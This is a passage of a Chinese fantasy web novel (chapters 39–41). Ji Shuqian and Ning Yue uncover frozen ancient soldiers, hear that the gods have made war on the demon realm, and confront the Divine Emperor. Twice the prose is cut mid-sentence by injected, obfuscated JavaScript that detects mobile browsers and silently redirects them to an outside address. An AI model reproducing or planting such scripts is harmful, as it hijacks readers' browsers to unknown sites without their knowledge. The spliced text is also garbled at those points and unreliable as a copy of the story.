季疏浅看着绚丽的珠子,往事涌上心头,她自嘲一笑:“因为……太宁静了,宁静到孤身一人都不知身处乱世。” 宁樾看向她,又想到了个昊天塔中见到的她,顿了顿,到嘴边的话终是没有说出口。 有些事情问了,无异于揭人伤疤。 走出雪谷,眼前一片开阔,但待两人看清眼前景象后,皆是一愣。 39. 冰面上的真相 一面如明镜般的冰湖反射着阳光,格外刺眼。但是两人还是看清了冰湖上的景象——一个个栩栩如生的冰雕。 季疏浅和宁樾相顾无言,俱是一愣,两人小心翼翼地迈上冰面准备一探究竟。 “……太像活人了。”季疏浅没有察觉到自己的声音有些发颤,她心头已然有一种不祥的猜测。 宁樾神色也算不上好看,只是越走近越沉重。 冰湖之上的冰雕个个都栩栩如生,而且神态动作各异。若真说这是雕出来的怕是没有人会相信。 因为有的冰雕神色痛苦仿佛是在一瞬间冻结的,季疏浅甚至觉得自己能看出他们想逃跑但又无处可逃的绝望。 她看向整个冰湖,似乎这些冰雕的服装也大不相同,还能隐约透过那冰雕的形状看出衣服的轮廓。 “咚,咚。”两声轻响在她耳畔响起,她循声看过去,就见宁樾不知有什么想法,指节微曲轻扣着一个冰雕。 季疏浅心头一紧,不对啊,怎么会是这个声音。以宁樾的力度,一个实心的冰雕不会发出这种声音。 她呼吸一滞,张了张嘴,却没发出任何声音,身旁的宁樾同样表情凝滞一瞬。 冰雕是空心的…… 两人皆是一惊,若说冰雕是实心的,两人都不会这么惊讶,或许那就是有人用冰雕成的。 但若说是空心的,那就很诡异了。 宁樾声音如这天一般寒冷:“我劈开看看里面。” 季疏浅点了点头,就见剑光一闪,“噌”的一声,冰雕自头顶裂成两半。 冰雕直直落在冰面上时,两人都倒吸了一口凉气。 冰雕的内部是完全空心的,但是冰雕内部的痕迹完完全全像是拿着活人刻上去的。 季疏浅颤着蹲下身子,仔细看着冰雕的面部。冰雕内部脸的地方完全是一张人脸的五官,凹槽痕迹就如同将冰凝结在一个活人身上做出的。 宁樾拂过冰雕:“上面的灵力和刚刚冰珠上的灵力一样。” 季疏浅没有回答他的话,只是径直走向前,看向四周的姿势各异的冰雕。走了十多步后,她脚步一顿。 声音忍不住颤抖道:“这些人的衣服似乎分成两派……” 她的话音落下,宁樾凝着眉看向那些冰雕,突然一愣。 两人同时开口道:“是酆都的人……”“是神族的人……” 四周只余下大雪的簌簌声,一片片飞雪落在冰面上消失得无影无踪。 季疏浅不可置信地看着冰雕,酆都自建立起军士的服饰就没有变化过。为了彰显酆都的神威,酆都会特意用金丝掺合着灵力用结绳的技艺做一个平安结。每一个选入酆都的军士都会得到一个平安结,里面的灵力足以抵挡一般的仙器伤害。 眼前的一些冰雕,胸前赫然有着一个平安结的印记。 而神族军士衣服同样好认,不同于另外几界士兵的甲衣有着一块块的痕迹,神族士兵的战衣是用一整块打磨的薄薄的玉片做成的。眼前有些冰雕,胸前格外平滑,很有可能就是神族军士。 季疏浅看向这些冰雕,有的是惊讶状,有的是倒地身亡状,还有的是交战状…… 为何神族和酆都会打起来?史书上似乎从来没有过记载。 今日在这里所见似乎会是六界一桩秘闻,两人心下疑惑,向着湖心走去。湖心处有两个人仿佛有什么力量般,将他二人与其他人隔开,两人周围十分空旷。 待走近后,宁樾忽的脚步一顿,玄天在冰面上“刺啦”一声拉出一条长长的刮痕。 “……是神界先帝。” 季疏浅眉头越皱越深,她看着那位执剑刺向另一人心口的男子,神界先帝?看着冰雕的轮廓,她渐渐想象出一个模样,一头长发用发冠高高束起,五官硬朗,高挺的鼻梁和宁樾真有几分相似,一身威仪不言而喻。 她忽然一滞,被他刺中的那名男子自轮廓看来同样样貌不凡,而且似乎气度更胜一筹。那人似乎是双目紧闭,但哪怕被刺中,脸上都是一副云淡风轻,甚至嘴角还有一抹淡淡的笑容。 忽然,在目光看到他在胸前的手势时,她似乎明白了一切。这人没有任何兵器,只是双手相对,在胸口处做了一个施术的手势。 这个手势她太熟悉不过了,上一世在槐江山时,她自爆内丹,使尽浑身力气施的术就是这个。 以己之死,平四海,定乾坤。 上一世,这一术法是元容与教给她的。但是在皎月调中有了珈若的记忆,她恍然大悟,这一术法明明是酆都祖传的最后一招,元容与多半是从珈若那里学来的。 所以……她定定地看向眼前的男子,难道他就是第一位酆都大帝? 一瞬间,她似乎想通了所有事情。 她深吸一口气稳住声音:“他是第一位酆都大帝……” 她一把捏住宁樾的衣袖一角,但瞬间反应过来这样似乎有些越界了,立马松开,低垂着眼眸:“我知道那股灵力为什么熟悉了,酆都自古都擅长冰系术法,而且灵力一脉相承,所以这股灵力是酆都大帝的。” 她顿了顿:“我的灵力和他有些相像,我猜他是在穷途末路之时将所有人冰封了起来,然后……用自爆内丹的术法将所有人化为齑粉……这些冰雕恐怕就是这么来的。”说完她自己都觉得不可思议,这些人里还有酆都军士,他为何要连着他们一起杀了。 宁樾听完后若有所思地看着面前的冰雕,侧身看向压不住眼底震惊的季疏浅:“或许他是想解决另一个东西……” 季疏浅听到愣了愣,掂量着他这句话的含义,忽然想到了古籍上的记载。 上古时期,六界打得不可开交,死伤无数,流血漂橹,戾气丛生。三只恶灵横空出世,将六界搅得一片水深火热,最后实在没有办法的天道只好造出酆都大帝来平定局势。 史书载酆都大帝一举将三只恶灵封印,但世间怨念无数,恶灵力量见长,某一日一举突破封印,最后酆都大帝以身陨的代价再次封印三只恶灵。 她明白了宁樾的意思,史书不一定完全不可信。但和眼前所见相结合,或许拼凑出来的就是堙灭的真相。 心中波澜起伏,过了一会儿内心终于平静下来,她略带思忖道:“真相可能是酆都大帝在封印恶灵时被神帝插了一脚,然而恶灵这一大祸患依然没能解决掉,所以迫不得已只能同归于尽。” 联想到在这幻境中遇到的诸多事情,她有了些思绪。看来上古时期的神族对酆都意见挺大的,还撺掇着宁樾来杀她…… 宁樾看着一时沉默的季疏浅,看向远处,向她走进两步:“世人贪慕权力,神族自然不例外,他们嫉妒酆都神威,也恨横空出世的酆都夺了他们的地位。” 季疏浅忽然笑了笑,看向宁樾:“是啊,人心是这样的。”她前世看清了许多,所以此刻倒是能云淡风轻地一笔带过。 宁樾神色带着些疑惑,他只能当她是带着几分自嘲的,不愿再将这个话题进行下去,转而看向明镜般的冰湖。 暗蓝色的冰湖被一层糖霜似的寒霜覆盖,透过瓣瓣雪花,他看见湖底深邃的黑,一个想法如飞鸟般自脑海闪过。 他的声音比平日低沉许多,带着一丝含浑的沙哑:“这里应该是封印三只恶灵的地方。” 季疏浅被他这么一说猛的想起这是在皎月调中,这时三只恶灵只是被暂时封印起来了,不像现实中这三只恶灵被珈若除掉了。 她迅速和宁樾对了个眼神,两人迅速闪身离开冰面,动作都小心翼翼的,害怕惊动了沉睡的恶灵。 离开这片冰湖后,季疏浅才有空余思考她心头的疑惑,世人都说恶灵只能被封印,那珈若是怎么灭掉恶灵的呢? 也不知这件事是在宁樾成魔前还是成魔后…… 她舒出一口长气,算了,到了那时候再想办法。 他们沿着原路走到雪谷时,季疏浅感慨着酆都先帝的术法真是厉害,穷途末路都能有这么大的威力。 突然,宁樾看向某个方向,手自虚空中一点,一把燃着熊熊火焰的长弓如火龙飞舞般出现。他脚步轻点,旋身握住长弓,一只箭矢如白虹贯日,呼啸而出。 箭矢擦起火光,直直刺向某棵不起眼的树后。 季疏浅还没看清他射中了什么东西,就见一道白色的身影闪电般闪出。与此同时,耳畔刮过箭矢带起的劲风,宁樾再放一箭径直射向那道身影。 箭矢落下插进雪地中,季疏浅闪身过去,一把将长箭从雪地中拔出,就见上面插着一个白色的毛茸茸的东西,血迹染红了皮毛。 她愣了愣,没想到宁樾会这般决绝。 宁樾跟在她身后走了过来,见她神情一笑:“你以为是雪兔?” 季疏浅不明所以地点点头,只觉得这兔子掂量起来没有几两肉,不明白为何宁樾要杀它们。 宁樾明白她的疑惑,笑了笑将白色的一团翻了个面,搬开了它的嘴,一口獠牙赫然出现在他们眼前。 “这不是雪兔,是犰狳。它长了一副雪兔弱小可怜的样子,实际上无恶不作,不仅要毁坏庄稼,还要撕咬尸体。” 季疏浅看着眼前奄奄一息可怜巴巴看着她的犰狳,心中冷笑。就像有些人一样,表里不一,虚伪的很。 宁樾利落地将两支箭矢拔掉,拎起它们的耳朵。 “走吧。” 季疏浅点点头,和他并肩离开这片雪谷。 “出了槐江山,你打算如何?”一直一言不发的宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14157470|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樾突然转头看向季疏浅。 季疏浅知道他问的是打算如何对待这段往事,但自内心深处的想法来讲,她并不想多生事端。这是在皎月调中,她唯一的目的就是在他成魔的时候杀了他,其余的事情做了也只是多此一举。 她眼珠一转,狡黠一笑:“太子殿下,难道要改写史书?” 宁樾看着眼角眉梢带着笑意的少女,颔首道:“嗯。” 季疏浅没想到他说的这么直接,不带一丝犹豫。她微微偏头看向宁樾,犹豫着要不要开口。 宁樾瞧着她神情一笑:“你是不是想说,现在这样其实挺好的。酆都大帝得了名声,神帝也没有颜面扫地。” 在他说出这句话的时候季疏浅一愣,他怎么把自己想说的全说完了。 就见宁樾侧头一笑,但神情又转瞬严肃:“我不光为了这件事,而是神族改掉史书无非是想掩盖掉夺权不成的事实。这是现在神族最大的问题,皇室上下都渴望权利,这样的风气必须改。” 季疏浅边听边点点头,只是好奇问了一句:“那你对权利不感兴趣吗?” “是,很多年前我去平定动乱时见到了流离失所的百姓,那时回去后我就跟父皇说我志不在这庙堂之高,更想阅尽这六界,帮助困苦之人。” 季疏浅抬眼望向他,一时没有说话。前世她的愿望就是在河清海晏后去走遍三界,可前世没能如愿。 今生她在大仇得报后安定好家人朋友,这个愿望还是不会变。 她没有想到宁樾也会是这样的说法。 可突然一股荒谬之感涌上心头,宁樾明明就成了人们谈之色变的魔尊,掌着生杀大权,甚至一举灭掉了神界,独揽三界。似乎一切都是背道而驰的。 内心波澜起伏,脸上依然是淡淡的表情,她莞尔一笑:“宁樾……以后有机会一起吧,我也想走遍这六界。” 可惜不会有机会了。 一路说着,不知不觉间走回了刚刚的地方。就看到玄色衣袍的女子坐在一个火堆旁,百无聊赖地拿树枝逗弄着四溅的火花。 “墨语,三皇子呢?”季疏浅走到她身旁。 “殿下!他说他去找点水。”墨语惊喜地抬起头,目光穿过季疏浅看到了宁樾手上的战利品,不自觉咽了下口水。 宁樾自然注意到这目光,找了块地方坐下抽出一把匕首,准备清理一下。 “给我一只吧。”季疏浅朝他伸手要过一只犰狳,也抽出一把匕首,刀法利落地划开皮毛。 起初,墨语只是看着她的动作,而后嘴巴越涨越大,实在忍不住问道:“殿下…你什么时候学会的处理动物啊?” 她印象中的公主殿下可是十指不沾阳春水,完全没法和现在正拿着剖开的犰狳取出内脏的少女联系在一起。 她顿时反应过来,以珈若的身份决计不用学这些。但她从小到大在野外困久了,饿的不行自然就学会了。 季疏浅将匕首转了个弯,割下一张完整的雪白的皮毛,才笑着道:“无师自通罢。” 宁樾只轻轻抬眸看了看她,没有作声,唇角莫名一勾,将犰狳用树枝串了架在火上。 她看着宁樾烤了犰狳,也跟着他将另外一只串了起来,放在火上翻了翻去地烤着。 不一会儿犰狳被烤的两面焦黄,一股烤肉的香味弥漫在四周,季疏浅拿起来闻了闻,感叹着:“好香啊。” 她侧首回望着墨语:“墨语,烤好了。”她招呼着墨语过来吃。 宁樾看着少女眼巴巴盯着烤肉似有些不舍,轻轻笑了笑:“我想起来人界皇城有家烤肉很好吃,每次宁瑈都喜欢的不得了,出了槐江山我带你去。” “好啊。”一听到吃的,季疏浅就两眼直冒小心心。 宁樾拿着手上烤的噼里啪啦作响的犰狳,心中暗想元祉不会遇到了什么吧。 季疏浅正看着墨语撕下犰狳腿上的肉递了过来,“殿下,给。” 突然腰间的传音玉剧烈震颤起来,她眉头一瞬间蹙起,这么雄浑的灵力她只能想到一个人—酆都大帝。 她父皇突然给她传音是做什么,她疑惑着将传音玉拿起,犹豫一下轻摁了下去。 “父皇,何事?” “珈若,槐江山收获如何?”没有任何波澜的声音自玉中传来。 “女儿找到了昊天塔。”季疏浅只淡淡回了过去。 “好,好。你马上从槐江山回来,神界对魔界开战,你也该来学着调和一下了。” “什么!”季疏浅一惊,神界对魔界开战?她下意识瞥向了宁樾。 怎么会?神后是魔君的亲妹妹,神帝怎么可能越过她直接对魔界开战。 况且这几日,宁樾似乎对这件事完全不知情。 40. 风起云涌 季疏浅隐隐有一种不安的预感,她眼睫轻颤瞥向宁樾。 宁樾自然听到了她的对话,一时间脸色煞白,只是紧紧握住那只烤犰狳微微发颤。 季疏浅看着那张越来越惨白的脸,狠下心问道:“父皇,这两界如今战况如何?” 传音玉的那边是一阵沉默,季疏浅悄悄瞥了一眼宁樾,只觉得身旁的雪都不及他周身气度严寒。 酆都大帝的声音缓缓道来:“魔界惨败,魔君战死。” 话音落下,似乎空气都凝滞了瞬间,万籁俱静,只听得满天飘雪的声音和火堆噼里啪啦的轻响。 她这时才看见雪落在宁樾肩头,而他的脸色和肩头的雪近乎一样。 衣袖下的手不自觉紧紧握起,“父皇,那神后呢?” “神后于月华殿中自戕,灰飞烟灭了。” 话的余音还在森林中回荡,“啪”的一声轻响,宁樾手上拿着的烤犰狳猛的落在雪地中。 季疏浅动了动嘴唇还是没能说出口,只是轻声道:“好,我马上回来。” 说完,她抬起眼皮担心地看向沉默的宁樾。的确,这变故来得太突然了,几乎可以说是出乎所有人的意料。 她已经有几分明了,想来宁樾也明白。神帝或许等这一天很久了,暗中养精蓄锐,趁着宁樾不在之时发动这场蓄谋已久的大战。 但她唯一不明白的点在于魔界实力凌驾于神界之上,世人都说魔君的实力是一人之下万人之上,怎会如此轻易惨死。 正想着,她突然听到沉沉的声音冷不丁地响起:“我母神绝不会自戕,她不会抛下宁瑈不管。” 季疏浅瞧这宁樾阴沉到极点的脸色,不免有几分担忧,难道他是因此成魔吗? 就这样想着,一股说不出的滋味席卷了她全身。她也曾体会过失去亲人的感觉,那种痛不欲生她分外熟悉。 或许是出于一种惺惺相惜,她轻轻抚上宁樾死死压在膝盖上泛白的手,沉默的看着,然后轻轻握住。 你的手好冷,她在心里悄悄想着。 “宁樾……”话到嘴边她又不知道该说些什么,因为她还记得曾经她会抗拒那些安慰她,眼下的宁樾也正是这样。 “我没事。”他垂眸看向那只按住他的手,默了一瞬侧头看着季疏浅。 这举动落在季疏浅眼里就是故作坚强。 他轻轻挪开她的手,站起身抖了抖雪。 “我回神界处理,家事不麻烦你了。” 说罢,他拿出传送阵,迅速结了个印,顿时,一束亮光直冲天际。 季疏浅微微蹙起眉头:“三皇子呢?不跟我们回去吗?” 宁樾只是看向传送阵,冷冷道:“带上只会多生事端。” 她点了点头,也是,元祉和元容与知不知情不好说,但若是带上他们俩肯定会有些麻烦。 传送阵灵力涌动,瞬间穿透槐江山的结界。季疏浅把玩着手上的紫色小塔,心中暗想也算是不虚此行,一边也暗暗担忧出去后的事。 思绪翻飞间,传送阵停了下来。走出去时,季疏浅晃眼间瞟到了宁樾藏在玄色衣袖下紧握的手。 入目是一条琉璃长桥,仙鸟在桥上飞来飞去,一派祥和景象。 说这是刚经历一场大战的神界应该没人敢信。 季疏浅微微皱了皱眉,看向月华殿前一重重的花门,花门上簪着各色兰花,彩蝶绕着花门翩翩起舞。还似有仙乐悠扬传来,一片欢声笑语。 神后新丧,神界居然搞了这出。她难以置信地偷偷瞥宁樾的脸色,他眼底就似结了一层寒霜般冰冷。 季疏浅瞧着一言不发的宁樾轻甩衣袖,径直朝大殿走去。她和墨语交换了一个眼神,也跟了上去。 越靠近殿门,仙乐的声音越清晰。这声音落在季疏浅耳中简直荒谬至极,一句有些沧桑的声音还道:“良缘由夙缔,佳偶自天成。天意,天意啊。” 走在前面的宁樾脚步一顿,面如死灰地看向大殿之上。 半晌,才冷冷吐出几句话:“宁樾是不是该祝父皇和兰妃娘娘乐此今夕,和鸣凤凰。” 话一出口,一位演奏仙乐的仙女拨弦的手指忍不住一颤,弦音滑落,刺耳一声,整个大殿鸦雀无声。 前一秒兰妃还是笑吟吟地看着神帝,一副浓情蜜意的样子。下一秒,听到宁樾的话神情瞬间凉了几分,微微上挑的眼睛轻扫过他,落在他身旁的季疏浅身上。 神帝也不意外,先是一愣,随后谄媚地笑着:“公主殿下能来观礼真是荣幸之至,快请上座。”随即示意仙娥们速去准备。 季疏浅瞧着身着鸢鸟金色尾羽捻成的丝线织就的华服的神帝神后,心中感慨万分,用手轻轻碰了碰宁樾衣袖。 她冷冷道:“珈若祝贺神帝神后千秋,但是,珈若此行意不在此。”说罢她冷冷抬起眼皮,看向脸上堆满笑意的两人,越发觉得好笑。 两人听她这么一说,面上的笑容差点没挂住。宁樾的目光越过他们俩,扫向宾客席上的面色迥异的宾客。 没有那个熟悉的娇俏少女。 季疏浅也注意到他的目光,顺着他的目光看去,就听见没有一丝感情的声音响起:“宁瑈呢?” 神帝正在想该怎么应付酆都公主这尊大佛,突然听到他这么一问,一种解脱席卷全身,但他还是不露声色道:“在她的寝宫里。” 宁樾打量他一眼,闪身离开月华殿。季疏浅轻瞥他的背影,扫了一眼在座宾客道:“礼成后,我在与神帝细说。” 说罢,她转身跟上宁樾那几乎消失在视线中的身影。 她明白宁樾不在纠结的原因,她也不得不这样。有时看似身份尊贵可以为所欲为,但实际上牵一发而动全身,一举一动他们都要考量其后果。 还没走进宁瑈的宫殿,她就闻到了一阵格外浓烈的药材味。不经疑心,宁瑈喜欢捣鼓熏香,怎会容忍这屋中一股中药材的味。况且,怎会有这么重的药材味。 她快步走进去,就见一向长身玉立的宁樾半跪在地上,捏住被角的手微微颤动。 季疏浅看着朱漆雕花床上睡过去的少女惨白的脸颊,愣了愣。在进槐江山之前,宁瑈都还是个脸上肉嘟嘟的小姑娘。但这回一见,她瘦了太多,脸颊都凹了下去,看起来没有一丝血色。 一个常侍在宁瑈身旁的小仙娥颤颤巍巍地退下,季疏浅看着她匆匆离去的脚步隐约察觉到什么。 “小瑈…她怎么了?” 她走到宁樾身旁,看着他抿着唇一言不发只是替宁瑈掖上了被角。 随后轻轻起身走到殿外,季疏浅跟上他的步伐,走到殿后的花园中。 不难看出它们的主人用了很多心血来打理这些花,各色的花团簇拥,但美中不足的是,有些花的叶子略显枯黄,像是有衰败的迹象。 “侍女说我母神自戕前,给小瑈喂了一味无痛的毒药……不出一月便会灰飞烟灭。” 宁樾抵押的嗓音传入耳中,恍若晴天霹雳般,把季疏浅剩下的想法炸的支离破碎。 她喃喃道:“神后……神后娘娘,怎会?” 一个斩钉截铁的声音落下:“不会,我母神绝对不会。” 循声而去,季疏浅望着他出神。短短几个时辰内,一个一个消息压的人喘不过气。但他似乎和平常一样没什么区别,只是季疏浅觉得那双似有星辰的双眸,已然暗淡无光。 所谓在一切崩塌时,最后剩下的就是麻木,或许就是这样了吧。 她应和地点点头,神后自戕就不像是她会做的事情,更别说给自己的女儿下毒。 珈若印象中的神后就是一位博爱的上神,将神后这一位置坐的让所有人心服口服。明明是魔界的掌上明珠,却毅然决然为了爱奔赴神界,换了神魔这么多年安宁,天下这么多年繁荣。 那么多荆棘都折了,她不觉得神后这样一个女子会甘心自戕,哪怕她一心求死,她都会为了宁樾和宁瑈再考虑考虑……除非是为人所逼。 宁樾突然看向季疏浅,缓缓道:“疏浅,可以让小瑈先在酆都住一段时间吗?” 季疏浅不暇思索道:“好。”她知道宁樾眼下唯一的牵挂应该就是宁瑈了,让她到酆都暂避一会儿确实是个最好的抉择。 她回头看向墨语:“墨语,你先带小瑈回酆都。” 墨语也明白这其中利害,只是诧异地看了一眼季疏浅,才应了声:“好。” 从她听到这些开始,她就在心中暗想,此番神界怕是要变天了。宁樾的太子之位恐怕不保,殿下肯定也明白此事,但是她居然选择了站在宁樾这边。 在她看来,这是一桩很不划算的买卖。但殿下这般下了令,她也会无条件地支持她。 墨语转身去到殿内带走了熟睡的宁瑈。季疏浅看着宁樾:“现在你打算?” “先回寝殿,等晚上我去找他们。”他眼神有些涣散地看着四周,幽黑的眸子透出一股浓浓的疲惫感。 “好,晚上我和你一起去。”她有些担忧地看向宁樾,见他头也不回地离开了,连忙跟上。 也没有过太久,再次回到承宇殿,季疏浅感慨万分,上次发生的事还历历在目…真是物是人非。 “你可以在这里逛逛。”宁樾留下一句话后,径直走向书房。 她看向那道消失的身影,愣怔站在原地。 思绪翻飞,她仿佛回到自己站在季府前的那日。骤然间,胸口一阵刺痛似最锋利的匕首刺入,猛喘一口气。 她看着通体白玉的宫殿思忖着,这么多日和宁樾的相处,她在心底已经将他当作一个并肩作战的朋友,当然,是在皎月调中的宁樾。 哪怕是站在一个局外人的角度来看皎月调中发生的事情,她还是在心底生出几分不忍。 不忍见那个意气风发的神族太子一夜之间被磨灭了眼底的星光,不忍那双如淌着星河的眼眸被黑暗吞噬。 一个声音自深处传来,不能入迷,这只是逢场作戏,你终究要杀他。 但季疏浅垂下眼睫,一声嘲讽的轻笑,若是哪一天她失去了这样的共情能力,那才是真的可悲。 她有些明白善慧说的,哪怕要杀他,也在这最后一场梦境中由她来做一些改变。 季疏浅没有再犹豫,朝着宁樾书房走去。轻推开那扇未掩上的玉门,她一眼看见了斜靠在床上的宁樾。 他手上虚虚握着一卷玉简,无力地搭在床榻上。双眸直直看向前方,略微有些泛红,目光中抓不到一丝情感。 似是察觉到有人来了,他身子轻轻晃动,侧首看去。但见到来人是季疏浅时,眉眼中流露出一丝惊讶。 “你…怎么来了?”一贯冰冷倨傲的声音,此时都掩不住沙哑。 季疏浅定定看着他,两步走到他身旁并肩坐下。“……有些事,发生了也没法改变…要向前看。” 她觉得这样一句听起来太过虚浮,又接着补充一句道:“但你放心,这件事我会给六界一个交代。” 宁樾看着她,目光下敛落在手中的玉简上,长睫毛微微扫下。季疏浅看向他,侧脸轮廓锋利而清隽,神情专注地盯着玉简。 她有些好奇地凑近了身,才突然发现宁樾拿着的是一本医书古籍,心头猛的一阵刺痛,她看着宁樾沉默不语。 若是失去了这个妹妹,宁樾或许离走火入魔不远了。 几柱香的时间过去了,季疏浅看着格外专注的宁樾都不忍出声打断。 “宁樾,我们去一趟月华殿吧。” 她估摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14258077|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着时间,这个时候应该礼成了,最是合适她去问清这来龙去脉。 若是在大典时打断,必会落人口舌酆都目中无人。而再晚一点…就更不合适了。 她自虚空一化,将虚华剑握在手中,执剑走上大殿。而宁樾则是眼底一片寒霜,一言不发地迈了上去。 大殿之上,觥筹交错,宾客交谈声此起彼伏,好不热闹。所以季疏浅和宁樾进去时,几乎无人注意。 “父皇,儿臣参见。”冰冷的嗓音贯穿大殿,让在座所有人惊了一惊。 神帝喝了些酒面色红润,只听到这么一句,他怒火中烧地扭头看来。 “放肆。”二字都到了嘴边,但一看到他身旁的季疏浅又立马咽了下去。 只是她正斟酌着怎么开口时,余光中人影和剑光一齐闪出,剑光疾起,偏锋侧进,宁樾拔剑而出,直指神帝。 这一变故来得太快,周围宾客都没有反应过来。季疏浅倒是迅速反应过来,只是心中一惊。神帝也迅速反应过来,双手张开试图抵挡。 但这一剑诡异迅疾,还带着排山倒海的剑气。众目睽睽之下,神帝被剑气震地踉跄后退两步。 宁樾面无表情地看着他,玄天指着他的喉咙,幽幽道:“父皇,不觉得这剑招很熟悉吗?” 神帝狼狈却又怒火中烧地看着他,宁樾没管他反应,轻笑一声道:“这是魔君最常用的招式,一剑封喉。” “父皇,你连我都挡不住,怎可能赢过魔君。” 一句话不留情面地响彻月华殿,神帝的脸一点点涨红,怒气冲冲道:“太子,你要造反吗?” 季疏浅心里忽然一动,她差点忽略了这场大战最关键的点,倒是宁樾点了出来,神帝到底是用什么法子赢了实力悬殊极大的魔界呢? “慢着。”她冷冷打断神帝,“神帝陛下,珈若奉父皇之命前来询问两界大战之事。” 她话一出,整个大殿一片唏嘘。众人皆知,酆都统领六界,一般情况下不会插手几界间的事务,小打小闹只会睁一只眼闭一只眼。但酆都一旦插手,就势必不会轻易了了。 神帝没料到珈若居然是奉酆都大帝之名来的,一下子面如死灰,几乎是语无伦次道:“两界之间纠纷而已……” “两界纠纷难道就容的神族士兵的铁骑肆意掠夺魔族百姓吗,就容的神族践踏魔族百姓尊严吗,就容的神族虐杀数以万计的魔族子民吗?”宁樾突然怒视着神帝,锋利的下颚绷的紧紧的,紧握先天的手有些颤抖。 季疏浅一愣,她都不知宁樾是什么时候得知了这些消息,但她都没有听说过。在心中暗暗感叹,神帝的消息封锁得真是好,惨无人道的事做尽了都没有露出风声。 “他所言可属实?”她冷眸一抬,盯着神帝逼问道。 “稚子胡言乱语而已。”他忽然镇定下来,冷静对答。 季疏浅看着他只觉得可笑,恐怕证据都销毁完了,他才会这般淡定。姜还是老的辣啊,后续应付都想好了。 但她轻轻勾了下嘴角,可她是酆都公主啊。 季疏浅微微抬起下巴,学着记忆中珈若不带感情的冰冷模样。 “如今不能只听几方之词,有些证据可以被改变,但人的记忆不会出错,神帝,我要看一看你的记忆,冒犯了。”她用着不容反驳的语调说道。 话音一出,全场鸦雀无声。没有人想到,酆都公主竟会当场对神帝发难。神帝脸色越发难看,直直看着这个晚辈半晌说不出话。 季疏浅没管整个大殿中的议论纷纷,径直朝他走去。 “慢着,珈若公主,想必酆都大帝是叫你此行来调和两家战事的吧?公主殿下是否偏了题?”他一双眼眸幽深,却又似闪着一丝锋芒。 似是寒霜突至,气氛瞬间凝滞,无形的剑横亘在两人中间。 季疏浅表面云淡风轻地看着他,其实内心深处是波涛汹涌。 若是她父皇来了,恐怕真会为了平息战事,不再查这件事。 想到这里,她的余光悄悄瞥了一眼宁樾。 宁樾肯定不愿这件事就此一笔带过。 她压下内心的情绪,轻轻掀起眼皮看向神帝:“调和?那我就得从起因开始。神帝,如果我没记错是神族发动战争在先吧?” 神帝看着季疏浅,明明比她小了一整个辈份的少女,却有着和他不相上下的气场,盘问起来眉眼间有着她父神的影子。 他脸色沉下来,风雨欲来。浑厚的嗓音中压抑着怒气:“是。”本还想和她周旋,但他内心深处实在是忌惮酆都的术法。 季疏浅听到他承认地如此爽快,一时心头怒火熊熊燃起。她生平最恨发动战争之人,在她眼中,无论说的多么冠冕堂皇,究极根本发动战争的理由还是逃不过一个利字。 她看向一言不发,冷的和一座雕塑似的宁樾,传音道:“你想问什么吗?” 宁樾无动于衷,仿佛什么都没听见一样,季疏浅看着他冷冽的眼神,一股压抑的情绪似无形的风暴,肆意蔓延。 她低垂着眼眸,当年她也是这般,选择在沉默中放任情绪。 “问他详细的,他怎么攻克魔军的……多谢。” 季疏浅沉下一口气:“没事。”眼眸微转,打量着刚行过大礼,天地见证的神帝神后,只觉得有些可笑。 她斟酌着言辞,在珈若的记忆中,她知道了此时的魔界不仅兵强民富,还靠着一套万魔阵法所向披靡。自魔界分裂出来时,第一位魔王造出此阵法来护佑魔界万民,沿用至今从未出错过。可如今,神族攻入魔族,那就说明此阵法已经被攻破了。 季疏浅神情凝重起来,她明白宁樾的意思,这样一个镇守魔界万年之久的大阵毫无征兆地被攻破了,也不知神帝用了什么法子。 41. 质问 “敢问神帝陛下,是怎样攻破魔界的万魔阵的?”她没有拐弯抹角,直接用着一种不容反驳的语气问道。 话音落下,兰妃掩在霓裳华服下的手微微动了动,不露声色地朝神帝看去。神帝在听到这一问后,眼底也不住有一丝闪避。 他们俩这动作被季疏浅看在眼里,她微微提高音量:“神帝?” 神帝见这一问是逃不过去了,缓缓开口道:“阵法年久失修,灵力衰退,自然不堪一击。” 他刚说完,一道轻笑声传了过来,宁樾不知何时将玄天握在手中,他好整以暇地抬眸:“父皇如果不愿说实话,那我今日奉陪到底。” 全场宾客都被他这句大逆不道的话吓得一声不吭,大家无一例外地用一种不可思议的眼神看着这位清贵无双的天之骄子对神帝拔剑相向。 “放肆!宁樾你把剑放下,成何体统!”神帝一腔怒火终于找到了宣泄的地方,拔高声音呵斥道。 宁樾似笑非笑的看着他,只是那副笑容落在季疏浅眼里委实有点瘆人,恍然间和那个魔王宁樾重合了。 眼见着气氛越来越凝滞,季疏浅还是出言划破这份诡异的沉默:“神帝,我想你也不愿我在大庭广众下回放你的记忆吧。”她故意将尾音拖的长了几分,带着些玩味看着他。 神帝看着他们一唱一和的两人深吸一口气,有些事情只有他自己知道,若是公之于众,那他这些年精心垒筑的高台便会顷刻倒塌。 他看着眼前的少女,只觉得她是虚张声势。虽然她是酆都公主,但是以后能不能坐稳那个位置谁都说不准,毕竟…… 他眼底一丝笑意,正在准备自己的措辞间,一道剑光疾闪,擦着他的脸庞而过,电光火石间,在场的所有人都没有反应过来。 剑气疾风般掠过,带起一地花瓣在空中纷飞,剑锋不偏不倚地擦着神帝脸颊而过,斩断一缕青丝。 